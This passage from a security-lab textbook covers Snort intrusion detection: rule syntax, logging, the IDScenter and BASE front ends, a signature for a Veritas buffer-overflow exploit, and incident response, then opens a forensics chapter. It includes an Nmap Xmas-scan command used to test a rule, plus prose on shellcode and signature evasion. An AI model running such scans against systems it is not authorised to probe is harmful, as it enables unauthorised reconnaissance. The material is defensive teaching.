3. As soon as the ping is complete, press Ctrl+C to stop the packet capture.
4. Use Windows Explorer to navigate to the snort\log folder.
5. Examine the contents of the log folder. Use Notepad to examine the
contents of the capture.
The individual packets are filed in hierarchical directories based on the IP
address from where the packet was received, as shown in Figure 10-11.
Network Intrusion Mode
Now that we have briefly examined Snort’s logging capability, let’s turn our
attention to Network Intrusion mode. In this configuration, we are going to
need to store Snort’s data in a database for later review. While you do not have
to have a database to use Snort, add-on tools such as the Basic Analysis and
Security Engine (BASE) require database connectivity. Our first task is to install
SQL. MySQL can be downloaded from www.mysql.com/downloads/index
.html. As of the writing of this book, the current version is 5.0.45. After
you have downloaded the installation program, complete the following steps:
1. Uncompress the Windows ZIP/Setup.EXE file into a temporary directory
and double-click setup.exe to start installation.
2. The Welcome screen will appear, signaling that you need to click the
Next button after reading the information, and then click Next again.
Allow MySQL to install in the default C:\mysql directory.
3. Choose the Typical install, and click Next. MySQL will now be installed.
4. Once the installation completed, you will need to finish the initial configuration configuring MySQL.
5. Open a command window and navigate to the directory in which you’ve
installed MySQL. I chose the default of C:\mysql\.
Figure 10-11 Snort log file contents.
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6. In the SQLPath\bin directory, type winmysqladmin.
7. The MySQL administration console will now start and you will be
prompted for a login.
8. You can use any login name and password you want. If you believe that
you may forget these values, record them and place them in a secure
location (e.g., an encrypted password file). I chose the following:
login: administrator
password: P@ssw0rdsR1t
9. Once you click the OK button, MySQL will start up as a service. This can
be confirmed by looking for the traffic light in your system tray, showing a green light. Right-click this icon and click the Start Check tab. The
my.ini line should show Yes, and all other lines should show OK.
10. Now return to the command prompt and run winmysqladmin.
11. You must now bind MySQL to this local system’s IP address. I used
127.0.0.1.
12. Set the communication port to the default of 3306.
13. Set the key_buffer setting for Snort data. For this I chose 128MB.
14. Now click the Save Modifications button and compete the configuration.
15. MySQL will now prompt you that the changes have been made and are
confirmed.
16. To complete the setup, type the following commands at the mysql›
prompt and press the Enter key after each:
create database snort;
create database archive;
This completes a basic setup of MySQL. The Snort system can now use the
database to store captured traffic signatures.
Building Snort Rules
Snort matches the packets that are captured with a set of rules that the
administrator provides. The rules reside in simple ASCII text files and can
be modified as needed. Sometimes an existing rule will be commented out to
eliminate false positive matches. Sometimes a new rule will be crafted to spot
a new intrusion or simply a network activity of interest to the administrator of
the Snort system.
Snort rules can be used to match specific signatures or misuse. Snort rules
are made up of two basic parts:
Building Snort Rules
Rule header — This is where the rule’s actions are identified.
Rule options — This is where the rule’s alert messages are identified.
Here is a sample rule to examine:
Alert tcp any any -› any 80 (content: "malware"; msg: "Malware Site
Accessed";)
The premise is that I want to be alerted when any user accesses a site with
the text malware. The Snort rule that I wrote was then inserted into the file
malware.rules in the /etc/snort/rules directory on my Snort machine. The
rule syntax is fairly obvious. This example looks for TCP connections to port
80, the HTTP port. Upon encountering a packet that meets those criteria, the
content is examined to see whether the clear text of ‘‘malware’’ is present in
the text of the web page. If the rule matches, an alert is generated. It is quite
easy to understand how Snort is able to match individual packets, as in my
example. But how is Snort able to spot activities that span multiple packets, as
is the case with a port scan? The secret to that is Snort ‘‘preprocessors.’’ The
preprocessors are C programs that have an opportunity to examine packets
before they are passed to the Snort analysis engine.
The Rule Header
The text up to the first parenthesis is the rule header. The first part is known
as the rule action. For example, consider the following rule:
Alert tcp any any -› any 80
The action here was an alert, but rule actions can include the following:
Alert — Creates an alert using whatever method has been defined
Log — Logs the packet
Pass — Informs Snort to ignore the packet
Activate — Creates an alert and turns on a dynamic rule
Dynamic — Remains unused unless another rule calls on it
The next item is the protocol. In the preceding example, TCP was used.
Snort supports the following protocols:
TCP
UDP
IP
ICMP
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The third field, the one I have defined as ‘‘any,’’ is the IP address field. As
used in the preceding example, any means any address it could have been a
specific network, such as 192.168.123.0/16. Table 10-1 notes how Snort deals
with subnet masks.
Snort can work with lists of IP addresses, as shown here:
Alert tcp any any -› [192.168.123.40/32, 192.168.123.100/32] 80
(content: "malware"; msg: "Malware Site Accessed";)
The fourth field specifies what port Snort is working with. Although the
example at the beginning of this section listed ‘‘any,’’ it could just as well be
21, 23, 25, 53, 80, 110, and so on. Let’s look at some examples where ports have
been defined:
To log any traffic from any IP address and any port to port 79 on the host
192.168.123.25, the command is
log tcp any any -› 192.168.123.55/32 79
To log any traffic from any IP address and any port to any port between
1 and 1023 on the host 192.168.123.25, the command is
log tcp any any -› 192.168.123.55/32 1:1023
To log any traffic from any IP address and any port to port 79 on the host
192.168.123.25, the command is as follows:
log tcp any any -› 192.168.123.55/32 79
To log any traffic that is from any IP address and any port less than or
equal to 1023 and is destined for host 192.168.123.25 with a port greater
than 1023, the command is
log tcp any :1023 -› 192.168.123.55/32 1023
To log any TCP traffic from any host using any port on the 192.168.123.0
network to any port other than 21, the command is
log tcp any any -› 192.168.123.0/24 !21
Notice how in the command that precedes the exclamation point (!)
denotes not.
Table 10-1 Snort Subnet Masks
IP ADDRESS
MASK
Class A
/8
Class B
/16
Class C
/24
Single host
/32
Building Snort Rules
Logging with Snort
Snort can log its output to a variety of formats, including binary and ASCII.
Binary offers speed and flexibility, whereas ASCII is easier to work with.
Snort can also handle the packets in one of two ways. Snort can alert you
when something is happening in real time or it can log the information to a
database for later review. Real-time alerts provide you with information about
the source of the attack, the destination of the attack, and the type of attack.
Logged packets can provide you with MAC addresses, IP addresses, flag
settings, payload information, and time stamps. What is great about logging
is having the ability to silently log packets for later review. Here is an example
of an Nmap TCP port scan:
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
11/23-06:28:42.066875 192.168.123.191:3436 -› 192.168.123.22:5716
TCP TTL:128 TOS:0x0 ID:15375 IpLen:20 DgmLen:48 DF
******S* Seq: 0x783BB49A Ack: 0x0 Win: 0x4000 TcpLen: 28
TCP Options (4) =› MSS: 1460 NOP NOP SackOK
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
11/23-06:28:42.067126 192.168.123.22:2605 -› 192.168.123.191:3435
TCP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:40 DF
***A*R** Seq: 0x0 Ack: 0x783B187E Win: 0x0 TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
In the end, you will most likely want Snort to perform both functions, having
it send alerts and log packets for later review if desirable. Now let’s look at the
rule option in more detail.
Rule Options
Rule options allow the Snort user to fine-tune Snort so that it can detect specific
items in TCP/IP packets. Rule options are separated by using a semicolon (;).
Table 10-2 shows some examples of rule options.
These are just a few of the options. You can find a complete listing in the
Snort help files and the Snort man pages. Let’s look at some examples of how
these values are used.
With the ACK option, Snort matches an ACK value found in a TCP header, as
follows:
ack: "ack-value";
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Table 10-2 Snort Subnet Masks
KEYWORD
DEFINITION
Ack
Matches a defined value in the TCP ACK field
Content
Matches a defined value in the packets payload
Flags
Matches a TCP flag setting such as SYN, FIN, or ACK
ID
Matches a specific IPID found in the IP header
Msg
Prints a message defined in the alert
TTL
Matches a defined IP TTL value
The content keyword allows you to configure Snort to examine the payload
of a packet. The syntax is as follows:
content: "content value";
The flag options are determined by their single-letter match. These include
the following:
FIN – F
SYN – S
RST – R
PSH – P
ACK – A
URG – U
No flags set – 0
Reserved bit 1 – 1
Reserved bit 2 – 2
The established trigger has largely replaced the flag option. The established
option is only used on established TCP connections. The syntax for the
flags option is as follows:
flags: value(s);
The id option specifies that Snort matches the exact value in the IP header.
The syntax is
id: "id-value";
The msg option informs Snort that there is a message that should be inserted
in the alert. The syntax is
msg: "text here";
Building Snort Rules
The TTL option is used to tell Snort that there is a specific TTL value to
match. This option can be used to detect trace routes. An example of the syntax
is this:
ttl: "time-value";
Here are some common examples:
Alert tcp any any -› 192.168.123.0/24 any (msg: "SYN-FIN -› scan
detected"; flags: SF;)
Alert tcp any any -› any 21 (msg: FTP Connection -› Attempt";)
If a match occurs, a message should be generated. The rule option is where
Snort has lots of flexibility. Building Snort rules is only half the work. When a
Snort alert occurs, it is important to be able to analyze the signature output. To
really be able to determine what attackers are doing and how they are doing
it, it is important to be able to perform signature analysis. This activity can be
categorized as follows:
Scans and enumeration
DoS attacks
Exploits
Creating and Testing a Simple Rule Set
Snort rules are what set Snort apart for any other ordinary sniffer. Snort rules
are used to define the pattern and criteria Snort uses to look for suspicious
packets. The best way to master Snort rules is to create and test some simple
rules. Any text editor (e.g., Notepad) will work:
1. Open Notepad and enter the following:
alert any any -› any any (flags: SF; msg: "NMAP SYN FIN scan";)
2. Save the file as c:\snort\rules\"demo.rule" and close Notepad. Typing the name in quotes, as shown, will force Notepad to drop the normal
.txt extension.
3. Clear the Snort log folder of any events, and open a command prompt.
4. Run Snort from one command prompt, and enter the following:
Snort -c \snort\rules\demo.rule -l \snort\log
5. From a second system, open a command prompt and type Nmap –sX
followed by the IP address of the system. In my example, I entered
Nmap -sX 192.168.123.50
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If you need to download a copy of Nmap, you can do so at http://
insecure.org/nmap/download.html.
6. After the Nmap scan has completed, stop Snort by pressing Ctrl+C and
view the contents of the log folder. You should see the logged result of
the Nmap scan.
This should give you some idea about how simple Snort rules are created
and tested. Besides creating your own, you can also download official rules
from Snort.org. If you choose to pay a subscription fee, you can get up-to-date
rules from Sourcefire as soon as new rules are verified and released. If you
are on a tighter budget, you can get the rules for free, but you must wait
five days after they are released to paid subscribers. If you like to live on
the edge, you can use Bleeding Edge Threats, www.bleedingthreats.net.
This is a clearinghouse for up-to-the-minute threats. The rules you find here
are considered leading-edge and might not be well suited for a production
environment. Figure 10-12 shows examples of the types of rules that can be
obtained.
As for downloading Snort rules from other third-party sites, the old adage
of ‘‘let the buyer beware’’ would apply. Make sure that you understand what
the rules are supposed to accomplish and that they actually work.
Figure 10-12 Bleeding Edge Snort rules.
The Snort User Interface
The Snort User Interface
Snort does not have a user interface of its own. All Snort does is keep an eye
on your network traffic, match the traffic to the rules that are provided, and
generate alerts and log entries. If you want to watch these alerts, you will need
another tool (or set of tools).
IDScenter
While many individuals have no problems with Snort’s command-line
interface, others prefer a GUI or interactive control. One such interface is
IDScenter. IDScenter is available from www.engagesecurity.com/products
/idscenter/. IDScenter is designed for controlling and monitoring Snort.
Among other capabilities, it can monitor up to 10 alert files and MySQL
database, and it performs log rotation for compressing and archiving; it can
also execute a program if an attack is detected. This is the same type of
functionality that many Linux Snort tools provide.
Installing IDScenter
If you have already installed Snort as previously described in this chapter, you
should have the needed base components in place to install IDScenter. If so,
just follow these steps:
1. Download the IDScenter setup program and start the install, as shown in
Figure 10-13.
2. Read and agree to the user agreement.
3. Choose the default installation folder, Program Files/IDScenter.
4. Continue to accept the defaults and allow the program to install.
5. Once the program is installed, the program can be found in the desktop
in the system tray.
Clicking the icon in the system tray opens the IDScenter configuration
window.
BEYOND DEFAULTS
Although the default settings are okay for a quick setup, many advanced users
will want to move beyond default configurations. If you’re interested in
fine-tuning Snort and the IDScenter to optimize performance and make it fit the
particulars of your network, don’t be afraid to explore.
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Figure 10-13 IDScenter installation wizard.
Configuring IDScenter
As you can see from the preceding section, IDScenter is easy to install. While
straightforward, it does offer a number of configuration options. Each of five
main sections contains a number of panels, and each of these panels includes
many switches and entry fields. The five main sections are as follows:
General
Wizards
Logs
Alerts
Explorer
At the top of Figure 10-14, you will notice the main control buttons. Each
has a self-explanatory name: Start/Stop Snort, View Alerts, Reset Alarm, Test
Settings, Reload, and Apply. Before you start using IDScenter, you have to
perform some basic steps to create a minimal working configuration and then
possibly change it to suit your own needs. We cover those settings next.
1. If you don’t already have IDScenter open, double-click the
IDScenter icon.
The Snort User Interface
2. Under the General Configuration tab, verify the correct version of Snort
is specified and that you have entered the correct path for the Snort executable. In addition, make sure that you have entered the correct path for
the Snort log file, as shown in Figure 10-14.
3. Click the Snort Options setting of the General Configuration tab and load
the Snort.conf file, as shown in Figure 10-15.
4. Click the Wizards tab and choose Network Variables. Make sure that the
home network is correct. If the values there are not correct, edit them so
that your local network is listed, as shown in Figure 10-16.
5. Click the Preprocessors option, and select Portscan Detection. Set monitored networks to $External_NET, as shown in Figure 10-17.
6. Click Rules/Signatures and verify that the first line reads c:\snort\etc\
classification.config.
7. Click the Logs tab and verify that the proper network and interface is
shown. If not correct, add in the correct values, as shown in Figure 10-18.
8. Click the Alerts tab, and then click the Alert Detection setting. Click the
Add Alert File button.
Figure 10-14 IDScenter General tab.
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Figure 10-15 IDScenter Snort.conf.
Figure 10-16 IDScenter network variables.
The Snort User Interface
Figure 10-17 IDScenter portscan detection.
Figure 10-18 IDScenter log settings.
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9. Click the Alert Notification icon.
10. On the right side of the screen, enable the Start Alarm Beep When Alert
Is Logged option. Then click to enable the Start Sound Test to Verify the
Alarm Works option.
11. When you have finished, click the Apply button at the top of the screen.
12. Now test your settings by clicking the Test Settings button at the top of
the screen. If everything has been configured correctly, you will see the
Configuration Applied Successfully message, as shown in Figure 10-19.
13. Now that you have successfully configured Snort IDScenter, start the
program and allow it to capture some traffic to further investigate its
operation.
Overall, IDScenter is a powerful add-on to Snort, eases the configuration
problems that some may have with its text configuration file, and makes
monitoring alerts a simple task. If you are considering running Snort from a
Windows system, IDScenter is a tool you should consider using.
Figure 10-19 IDScenter test settings.
The Snort User Interface
Basic Analysis and Security Engine
Why should Windows users be the only ones to enjoy a GUI for Snort?
Linux users can also use a GUI for Snort. At one time, the tool of choice
was Analysis Console for Intrusion Detection (ACID). ACID is now considered to be outdated and has been replaced by BASE, which stands
for Basic Analysis and Security Engine. It is available for download from
www.base.secureideas.net/about.php. The purpose of BASE is to provide a
web-based frontend for analyzing the alerts generated by Snort. Let’s look at
the basic steps to get BASE up and running:
1. Base requires MySQL, so make sure that it has been installed before
starting.
2. Edit the /snort/snort.conf file. Uncomment and edit the following line:
output database: log, mysql, user=snort password=snortpass dbname=snort
host=localhost
3. Download and install BASE.
4. Once it’s installed, edit the /usr/share/basephp4/base_conf.php file
to ensure that the following lines are configured with paths and settings
appropriate for your configuration:
$BASE_urlpath = ’/base’;
$DBlib_path = ’/usr/share/ododb’;
$DBtype
= ’mysql’;
$alert_dbname = ’snort’;
$alert_host
= ’localhost’;
$alert_port
= ";
$alert_user
= ’snort’;
$alert_password = ’snortpass’;
5. Access the BASE web page, as shown in Figure 10-20, at http://local
host/base/.
6. Click the Setup Page link.
7. Click the Create BASE AG button on the right side.
8. Click the Main Page link. Doing so takes you to the main BASE interface page. From here, you can begin to fully explore the program.
Figure 10-20 Base configuration.
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The number of Snort utilities and add-ons is impressive. IDScenter and
BASE are just two of the tools that are available for Snort. If you explore the
other downloads available at the Snort web site (www.snort.org), you will find
a variety of other tools that might prove helpful to you.
Advanced Snort: Detecting Buffer Overflows
While this chapter really just touches the basics of Snort, you should be aware
that it has many advanced capabilities. One advanced use of Snort is to use it
to detect buffer overflows. It’s worth mentioning that a buffer is a temporary
data-storage area whose length is defined in the program that creates it or
by the operating system. Ideally, programs should be written to check that
you cannot stuff 32 characters into a 24-character buffer. However, this type
of error checking does not always occur. The easiest way to prevent buffer
overflows is to stop accepting data when the buffer is filled. This task can be
accomplished by adding boundary protection. Since most of the programs we
use are written by other developers, buffer overflows are something that must
be monitored.
Buffer overflows offer the attacker a foothold on a system. This makes buffer
overflows something that Snort should watch for. Many IDS buffer-overflow
signatures developed for Snort look for a NOP sled or shellcode. A NOP
sled is a type of counter or padding in memory that acts as a countdown, the
sled is placed before the actual attack code. It can obscure the attack and make
the attack somewhat easier to carry out, as the attacker can have the pointer
land anywhere in the NOP zone. Shellcode is so named because it describes a
portable piece of code that is used in exploits. The usual purpose of shellcode
is to give the attacker a command shell on the victim’s system.
Attackers are never satisfied with the status quo and are constantly looking for new ways to formulate attacks. Advanced exploitation techniques
such as NOP sled randomizing and shellcode encoding can be used to
evade these Snort signatures. If all this information about buffer overflows
is something you would like to learn more about, you might want to review
www.owasp.org/index.php/Buffer Overflow.
This means that to reliably detect advanced buffer overflow attacks, it is
necessary to actually look for the condition that triggers the vulnerability and
not for the exploit itself. This may involve checking a packet length field to see
whether its value is above a specific value, or checking the length of a string.
Snort provides the capability to check for such events. Checks such as the
byte_test keyword and Perl-compatible regular expressions (PCRE) make it
is possible to create effective buffer-overflow signatures.
Here is an example of a signature that takes advantage of the byte_test
keyword to detect exploit attempts for a buffer overflow in the Veritas
Responding to Attacks/Intrusions
backup_exec agent. The vulnerability is triggered when an overly long pass-
word is sent to the backup agent in an authentication request:
alert tcp $EXTERNAL_NET any -› $HOME_NET 10000 (msg:"EXPLOIT Veritas Back
up Agent password overflow attempt"; flow:to_server,established; content:
"|00 00 09 01|"; depth:4; offset:16; content:"|00 00 00 03|"; depth:4;
offset:28;
byte_jump:4,32;
byte_test:4,›,1023,0,relative; reference:
cve,2005-0773; classtype:attempted-admin; sid:3695; rev:1;)
The signature first tries to identify client authentication requests by looking for a destination port of 10000 and various byte sequences found in
authentication request packets.
To detect this vulnerability, the signature next checks the password length
field in a packet to see whether its value is greater than 1023. This is accomplished with the byte_test keyword. If the length is greater than 1023, the
packet will trigger the vulnerability, so the signature triggers an alert. This
signature is part of the rule set distributed with Snort. While you probably will
not be writing such signatures on day one of your Snort deployment, I hope
this demonstrates some of the true power of Snort.
Responding to Attacks/Intrusions
I have spent most of this chapter discussing the means and methods to build
a basic Snort system to protect your network. This chapter would not be
complete without answering the question of what happens when an attack is
detected. This moves the conversation to incident response.
The Defense Advanced Research Projects Agency (DARPA) formed an
early Computer Emergency Response Team (CERT) in 1988. Many people
attribute the founding of the CERT to the Morris worm, which had occurred
earlier that year. The ‘‘information superhighway’’ was little more than a
dirt road in 1988, and so the delayed response wasn’t fatal. Few of us today
have the same luxury with regard to waiting until after an attack to form
a incident-response plan. To reduce the amount of damage that these individuals can cause, organizations need to have incident-response and -handling
policies in place. These policies should dictate how the organization handles
various types of incidents. Most companies set up a Computer Security Emergency Response Team (CSIRT) or Computer Incident Response Team (CIRT),
as CERT is now a registered trademark of Carnegie Mellon University.
Having a CIRT in place and the policies it needs to function can provide
the organization an effective and efficient means of dealing with situations
in a manner that can reduce the potential impact. These procedures should
also provide management with sufficient information to decide appropriate
courses of action. By having these procedures in place, the organization can
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maintain or restore business continuity, defend against future attacks, and
deter attacks by prosecuting violators. There can be many types of incidents,
but what they all have in common is that they affect the network in a negative
way and need to be responded to quickly so that the damage can be mitigated.
As you can probably see, this means that an effective incident-response plan
needs to be developed to deal with such occurrences.
One of the best things about an incident-response plan is that it provides a
structure to deal with the event in a time of crisis. During an actual attack, it’s
important to keep calm and have a good idea about what needs to happen.
One of the great things about Snort is that it can be used to watch for events
and incidents. Snort’s real-time captures can be used to help determine what
is actually occurring, and Snort’s logging ability can help investigate previous
events.
In either circumstance, you must understand what is and is not an event
worth investigating. As an example, although port scans and ping sweeps may
be some type of reconnaissance, this activity will not always result in an attack.
Other events such as privilege escalation attempts, buffer-overflow attacks,
brute-force login attempts, and denial of service attacks all require immediate
investigation. With this in mind, let’s take a look at the incident-response
process:
1. Planning and preparation — The organization must establish policies
and procedures to address the potential of security incidents.
2. Identification and evaluation — The detection of the event. Automated
systems should be used to determine whether an event occurred. There
must be a means to verify that the event was real and not a false positive. The tools used for identification include IDS, IPS firewalls, audits,
logging, and observation.
3. Containment and mitigation — Planning, training, and the use of
predeveloped procedures are key to this step in the process. The
incident-response plan should dictate what action it is necessary to take.
The incident-response team will need to have had the required level of
training to properly handle the response. This team will also need to
know how to contain the damage and determine how to proceed.
4. Eradication and recovery — Containing the problem is not enough. It
must also be removed and steps need to be taken to return to normal
business processes.
5. Investigation and closure — What happened? Once the investigation
is complete, a report, either formal or informal, must be prepared. This
will be needed to evaluate any required changes to the incident-response
policies.
Responding to Attacks/Intrusions
6. Lessons learned — At this final step, all those involved need to review
what happened and why. Most important, what changes must be put in
place to prevent future problems? Learning from what happened is the
only way to prevent it from happening again.
During an incident, it’s important that the team document everything that
happens, because investigating computer crime is complex and involved.
Missteps can render evidence unusable in a court of law. This means that team
members must be knowledgeable about the proper procedures and must have
had training on how to secure and isolate the scene to prevent contamination.
For more about this, see Chapter 11, ‘‘Forensic Detection.’’
Another important concern is who will be part of the incident-response
team. You might be thinking that this is exclusively a network security
task, but in reality there will be many more participants. Incident-response
team members not only need to have diverse skill sets; they should also
represent various departments throughout the organization, such as the
following:
Information security
Legal
Human resources
Public relations
Physical security
IT Network and administration
Audit and compliance
Having a diverse group better prepares the team to deal with the many
types of incidents that may occur.
In the end, the incident-response process is about learning. The results of
your findings should be fed back into the system to make changes or improve
the environment so that the same incident isn’t repeated. Tasks you may end
up doing as a result of an attack include the following:
Figuring out how the attack occurred and looking for ways to prevent it
from happening again.
Creating new Snort rules
Upgrading tools or software in response to finding out what the team
didn’t have on hand to effectively respond to the incident
Finding things that went wrong and making changes to the incidentresponse plan to improve operations during the next incident
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To learn more about incident response, take some time to review www.
cert.org.
Summary
From the early days of intrusion detection, when James Anderson did his
early theoretical work, to a later time when Dorothy Denning built one of the
first working intrusion detection systems, we see that intrusion detection can
take on many different forms and has evolved. Some early systems worked
much like Tripwire, in that they detected changes in individual files, but newer
systems can even block attacks in real time.
What is important to learn from this chapter (and the book as a whole) is
that no one tool offers real security. A lone IDS cannot provide true security.
When coupled with firewalls, encryption, system hardening, physical security,
and policies such as incident response, however, an IDS can start to enhance
security and play an effective role.
Key Terms
Anomaly detection — A type of intrusion detection that looks at behaviors that are not normal with standard activity. These unusual patterns
are identified as suspicious.
Intrusion detection — A key component of security that includes prevention, detection, and response. It is used to detect anomalies or known
patterns of attack.
Intrusion detection system (IDS) — A network-monitoring device typically installed at Internet ingress/egress points and used to inspect
inbound and outbound network activity and identify suspicious patterns
that may indicate a network or system attack from someone attempting
to break into or compromise a system.
Pattern matching — A method that IDSs use to identify malicious traffic.
It is also called signature matching and works by matching traffic against
signatures stored in a database.
Protocol decoding — A method that IDSs use to identify malicious
traffic. Protocol-decoding systems have the ability to decode and
examine known types of protocols, such as FTP, Telnet, HTTP, and
others.
Exercises
Exercises
This section presents several hands-on exercises to help reinforce your knowledge and understanding of this chapter. The author selected the tools and
utilities used in these exercises because they are easily obtainable. The goal is
to provide you with real hands-on experience.
Building a Snort Windows System
This exercise steps you through the process of installing and configuring
Snort on a Window PC. Requirements include a Windows 2000, XP, or 2003
computer and Snort software.
1. Download a copy of Winpcap.exe from www.winpcap.org. This low-level
packet driver will be needed to get Snort to work. After you install WinPcap, reboot if prompted.
2. Download the latest version of Snort from www.snort.org/dl/binaries/
win32/. At the time of this writing, the version is 2.80. After starting the
download, start the Snort install.
3. Agree to accept the license agreement.
4. Check Support for Flexibility Response, and then click Next.
5. Verify that all components are checked, and then click Next to continue
the installation.
6. Accept the defaults for location, and then click Install. The folder
C:\Snort will be used.
7. Click Close to finish the Snort installation. During the actual installation,
Snort creates a directory structure under C:\Snort that looks like this:
C:\snort\bin
C:\snort\contrib
C:\snort\doc
C:\snort\etc
C:\snort\log
C:\snort\rules
8. If necessary, click OK to close the Snort Setup information box.
9. In the snort.conf file, search for the variable statement that begins with
var rule_path. If necessary, change the statement to refer to the path of
your Snort rules folders, which is the var RULE_PATH c:\snort\rules.
10. Search for the variable statement var HOME_NET Any. Change it to the
setting for your network (e.g., var HOME_NET 172.16.0.0/24).
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11. Search for the statement include classification.config and change
it to
include c:\snort\etc\classification.config
12. Search for the statement include reference.config and change it to
include c:\snort\etc\reference.config
13. Save and close the file.
14. Reboot your machine and log back on to Windows. To check that Snort
was properly configured, open two command prompts.
15. At one of the command prompts, navigate to the C:\snort\bin folder,
and enter snort –W. You should see a list of possible adapters on which
you can install the sensor. The adapters are numbered 1, 2, 3, and so
forth.
16. At the c:\snort\bin› prompt, enter snort –v –ix, where x is the number
of the NIC to place your Snort sensor on.
17. Switch to the second command prompt you opened, and ping another
computer, such as the gateway. When the ping is complete, switch back
to the first command-prompt window running Snort, and press Ctrl+C
to stop Snort. A sample capture is shown here:
11/01-23:09:51.398772 192.168.13.10 -› 192.168.13.254
ICMP TTL:64 TOS:0x0 ID:38
ID:1039 Seq:0 ECHO
9E 85 00 3B 84 15 06 00 08 09 0A 0B 0C 0D 0E 0F ...:............
10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F ................
20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F !"#$%&’()*+,-./
30 31 32 33 34 35 36 37
01234567
This demonstrates the basic capabilities of Snort, but not everyone has the
time or ability to constantly monitor the console. Therefore what is needed is
a way to log the activity for later review. We can do this as follows:
1. If you are not already there, change to the directory where you installed
Snort. Then at the command prompt, enter snort –ix –dev –l\snort\log.
This command will start Snort and instruct it to record headers in the
\snort\log folder.
2. Now ping some other device, such as the gateway. If you have a second
computer on the network, you can use it to ping that computer, or you
can even scan it with Nmap. The idea here is to generate some traffic to
be logged in the Snort\log folder for review.
3. After you have generated some ping traffic or run some scans against the
local machine, press Ctrl+C to stop the packet capture.
4. Use Windows Explorer to navigate to the snortlog folder.
Exercises
5. You should see some files there. Use Notepad to examine the contents
of the capture. (This is a great feature because now you can go back and
review activity.)
Making a One-Way Data Cable
A one-way data cable is designed so that it can receive information but not
transmit it. This makes it impossible for an attacker to receive data from the
IDS system and makes for an undetectable but direct way to monitor traffic.
Having a one-way data cable is a good way to set up a Snort system:
1. You need the following:
A length of Cat-5 cable
Two RJ-45 connectors
2. Wire as a normal patch cable (using pins 1, 2, 3, and 6) the end of the
cable that you will plug into the sniffer.
3. Modify the end that will be plugged into the switch. On this end, remove
an inch or so of wire 1 and wire 2.
4. Strip both ends of the removed wires.
5. Solder wire 1 to wire 3, and solder wire 2 to wire 6, so that transmit and
receive are looped. Carefully place these wires in an RJ-45 connecter and
crimp them. Figure 10-21 shows the final configuration.
Color
w/orange
orange
w/green
brown
w/brown
green
w/brown
brown
Pin
1
2
3
4
5
6
7
8
1
2
3
4
5
6
7
8
Cat 5
Cable
Sniffing Device
Hub / Switch
Figure 10-21 IDS one-way data cable.
Sniffer Device
IDS / SNORT
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Forensic Detection
The term forensics may cause some people to think of DNA or the latest
episode of Law and Order. Others may have thoughts of tracking a hacker
while in the midst of a computer break-in. Still others may see it as a means
of conducting a computer investigation after the fact to gather electronic
evidence that can be used by the organization to determine if some type of
incident or cybercrime has occurred. Forensics can be defined as any of these
activities. This chapter looks at the aspects of forensics that are also known as
cyber-forensics. A forensic investigation must follow a strict set of rules that
govern how the evidence is obtained, collected, stored, and examined. While
the organization performing a forensic investigation might not know at the
beginning of an investigation how or what will be found, the process must
be followed carefully or any evidence obtained may become tainted and be
inadmissible in a court of law.
Government, military, and law enforcement have practiced forensics for
many years, but it’s a much younger science for private industry. Its growth
can be tied to the increasingly important role that computers play in the
workplace and the type of information they maintain and access they enjoy.
This growth means computer security specialists must have a greater
understanding of computer forensics and the concept of chain of custody.
Even though many forensic investigations and computer forensic work will
never be tested in court or require a law enforcement response, forensic
process integrity is crucial so that any collected evidence is relevant, valid,
and potentially admissible in court. Let’s get started by looking at a broad
overview of forensics.
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EVIDENCE, OBVIOUSLY
Any time we are faced with an incident, there will be a need to gather evidence.
Evidence can be used to prove that a computer crime occurred, that a particular
person committed a specific deed, or even to identify the actions of a computer
criminal. Therefore, evidence, or more precisely computer evidence, is any data,
file, software, hardware, or device that can be used to prove a person
committed the act or caused the incident. When used in a court of law, this type
of evidence is known as real evidence, as it is something that can be shown in
a court of law. While many incidents may not end up in court, all evidence must
be collected in such a way that it would be acceptable should that occur.
Computer Forensics
Before any type of forensic work can commence, forensic analysts must set
up an area in which they can complete the required tasks. (And although
the purpose of this book is to guide readers as to what is required to set
up their own security lab, let’s briefly examine the required setup to perform forensics in a real-world environment.) The ideal forensic work area is
one that offers limited access; after all, you must account for who has access
to data and to forensic workstations. You need a minimum of one forensic
workstation. This system should not have Internet access, to reduce the risk
of the system becoming infected with viruses, spyware, or malicious code.
The lack of Internet access also helps to ensure that data cannot be accessed
remotely or tampered with. Keep a notebook or otherwise record all activities
that concern specific evidence. A real forensic lab also needs a safe/controlled
area in which to store evidence. Common forensic lab equipment includes the
following:
Computers
Printers
Scanners
Spare hard drives
RAID arrays
Digital camera
Write blockers
IDE and Serial ATA cables
USB and FireWire adapters and cables
Acquisition
FORENSIC LAB VS. SECURITY LAB
Is a security lab the same as a forensics lab? No. A security lab, as discussed in
this book, can be used for a variety of security-related tasks, such as testing
patches, analyzing exploit code, testing security solutions, creating IDS
signatures, performing basic forensics activities, and so on. A forensics lab is
set up for the specific forensic activities. A forensic lab should have the
following: a controlled area in which to store evidence, controlled access, an
interview area, non-networked standalone systems on which to perform
specific forensic activities, and specialized equipment. If you’re interested in
learning more, spend a few minutes reviewing www.compseconline.com/
hottopics/hottopic Feb04/settingupaforensicsunit.pdf.
Organizations that perform computer forensics typically have a few
of each of these items. Even the most rudimentary forensic lab must have at least
one of everything on this list, except perhaps a scanner and a RAID array (which
may be optional in some scenarios).
Before this chapter delves into the basic software requirements for computer
forensics, let’s examine the overall process itself. Computer forensics follows
a three-phase process: acquisition, authentication, and analysis. These component phases build on each other and ensure that all evidence remains credible,
relevant, and admissible. Let’s get started with acquisition.
Acquisition
Acquisition occurs through taking physical possession of something (for
purposes of this chapter, with the goal of potentially using that something
as evidence) or contracting to take possession. In many instances, forensic
analysts are asked to acquire hard drives, computers, media, or other items
on-site. Just as with any investigation, analysts should carefully record what
physical evidence they recover. Physical evidence and computer forensics can
help re-create, as ‘‘proof,’’ the incident scene and the relationship between any
victims and suspects. This relationship is shown in Figure 11-1.
Incident Scene
Physical Evidence
Victim
Suspect
Figure 11-1 Relationship of evidence to suspect.
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The acquisition phase follows these steps:
1. Collect and document the evidence.
2. Protect the chain of custody.
3. Identify, transport, and store the evidence.
